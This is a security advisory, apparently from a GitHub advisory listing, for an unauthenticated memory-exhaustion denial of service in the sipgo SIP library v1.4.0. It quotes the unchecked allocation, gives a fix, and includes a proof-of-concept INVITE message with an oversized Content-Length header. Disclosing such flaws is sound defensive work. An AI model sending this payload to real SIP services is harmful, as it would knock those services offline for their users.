The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.
ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):
body := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32)
The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after parseSingle has already allocated the buffer.
Tested on emiago/sipgo v1.4.0 (latest).
Send a single message with a large Content-Length and no body to a SIP server:
INVITE sip:victim@example.com SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: <sip:attacker@attacker.example>;tag=1
To: <sip:victim@example.com>
Call-ID: 1@attacker.example
CSeq: 1 INVITE
Content-Length: 4000000000 // <- a large Content-Length
Validate contentLength against ParseMaxMessageLength before the allocation.
Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.
{
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T19:57:51Z",
"nvd_published_at": null,
"severity": "HIGH"
}